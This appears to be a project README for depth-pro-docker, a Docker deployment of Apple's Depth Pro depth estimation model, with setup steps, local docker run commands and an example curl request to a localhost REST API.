depth-pro-docker offers a production-ready Docker deployment for Apple’s Depth Pro model. This tool provides zero-shot monocular metric depth estimation, which lets you measure depth in images without extensive setup. With a simple web interface, a REST API, and an MCP server, you can easily run depth estimation.
To get started with depth-pro-docker, follow these steps:
Visit the Releases Page: Go to our Releases page to download the application.
Select the Latest Version: On the Releases page, find the latest version of depth-pro-docker. This version includes the newest features and bug fixes.
Download the Docker Image: Click on the Docker image file that matches your operating system. This file is necessary for running depth-pro-docker.
Once you have Docker and the image downloaded, follow these steps:
Open Your Terminal or Command Prompt: This is where you will issue commands.
Load the Docker Image: Use the following command to load the downloaded image into Docker:
docker load -i path/to/your/downloaded/image.tar
Replace path/to/your/downloaded/image.tar with the actual path to your downloaded image.
Run the Docker Container: Now you can run the Docker container using the command:
docker run -p 5000:5000 your_image_name
Be sure to replace your_image_name with the name of the image you loaded.
Access the Web UI:
Open your web browser and go to http://localhost:5000. This will take you to the web interface where you can start using the depth estimation tools.
If you prefer to use the REST API, follow these instructions:
API Endpoint:
The API is accessible at http://localhost:5000/api/. You can interact with different endpoints as documented in the application’s API documentation.
Example Request:
Here’s a simple example using curl:
curl -X POST http://localhost:5000/api/depth-estimation -d '{"image": "path/to/your/image.jpg"}'
Replace the image path with a valid image file you want to process.
If you encounter issues while running the application:
http://localhost:5000.For users requiring assistance, please visit our GitHub Issues page.
Feel free to report bugs or propose feature requests. Your feedback is valuable to us.
We plan to continually enhance depth-pro-docker with additional features like improved algorithms for depth estimation, support for more input formats, and a detailed user manual. Stay tuned for updates as we evolve this project.
Thank you to all contributors for making depth-pro-docker possible. If you’d like to contribute, please check our guidelines in the repository for more information.
To get started, visit our Releases page to download the latest version of the depth-pro-docker Docker image and start your journey into depth estimation today.